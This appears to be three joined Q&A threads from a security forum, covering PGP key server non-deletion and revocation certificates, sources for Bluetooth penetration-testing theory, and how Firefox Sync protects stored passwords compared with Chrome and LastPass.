Generally, PGP key servers resolve conflicts by not resolving them. Key servers store public keys. If they get several public keys which somehow "collide" for some notion of collision (say, both keys relate to the same email address), then they just keep all of them. And that's by design. In particular, fake keys cannot be deleted. The whole concept of the PGP Web of Trust is that trust comes from the signatures, not from the key servers, who are just storage areas (or, more often, garbage dump areas).

See for instance the MIT PGP key server FAQ:

  1. Can you delete my key from the key server?

  No, we cannot remove your key from the key server. When you submit a key to our key server the key is also forwarded to other key servers around the world, and they in turn forward the key to still other servers. Deleting the key from our server would not cause it to be deleted from any of the other servers in the world and so this is not an effective way to ensure the discontinued use of your key.

  2. So, you can't delete my key, is there anything I can do?

  If you still have the private key, you can use your PGP software to generate a revocation certificate, and upload that to the keyserver. The exact procedure for generating a revocation certificate varies depending on what PGP software you are using, please consult the documentation for more information. This will not delete your key from the key server, but it will tell people who download it that the key has been revoked, and should not be used.

  3. But the reason I want to delete my key from the keyserver is that I lost the private key (so I can't generate a revocation certificate), can you please delete my key for me?

  No.

I quite like the definitiveness of the answer to the third question.


Bluetooth penetration testing I need to do some testing on boxed devices, incidentally having Bluetooth interface. I am quite sure that there are problems in the implementation, at least there must be given how the architecture has been developed.

My question is: where can I find some theory on Bluetooth attacks? I am not happy only with BlueSnarfing or BlueJacking, or anyways 'old school' attacks. Any source of info is well accepted.

Have you taken a look at the Ubertooth project?  It's a hardware platform plus a good bit of code to get you started in Bluetooth analysis.  Also, I found Mike Ryan's Black Hat presentation from last year to be helpful:    (links directly to the pdf)


Comparison between Firefox password manager and chrome password manager As a follow up to Is saving passwords in Chrome as safe as using LastPass if you leave it signed in?, I would like to know how firefox's password manager compares, if you have a master password and also how secure is their sync feature

Firefox's Sync is a locally AES-256-CBC encrypted database of your stuff (which can include passwords), stored on Mozilla's servers.  The key does not leave your browser in an unencrypted form that can be decrypted by anyone but you.  But it does end up on every Firefox browser you sync with.

The Sync key is stored locally in your passwords.  If you don't have a Firefox Master Password, it's not encrypted on your machine.  If you use a Master Password, the Sync key is unencrypted from the moment you enter it into Firefox.

The Sync key is available from your browser.  Go to Options/Firefox Sync, click the "Manage Account" tool, pick "My recovery key", and it will produce a printable version of your key.  You can type the user's email address and that key into any other instance of Firefox and you will be included in Syncing, and have therefore have full visibility into all Synced passwords.

Just like a logged-in Lastpass client, and just like Chrome, the security of the data relies on the user to deny access to parties that might compromise their password.  Anyone's email account is practically a given, so all secrecy lies in that key.  Do you Sync to your cell phone?  Might want to think twice if you're prone to losing phones.  Do you lock your desktop every time you step away from it?  Perhaps it's time to get into that habit.

There is no extra magic Firefox can apply.  Convenient tools that save passwords expose you to extra risk, regardless of who makes them or who gives them away.  It's up to you to determine if the convenience is worth that extra risk.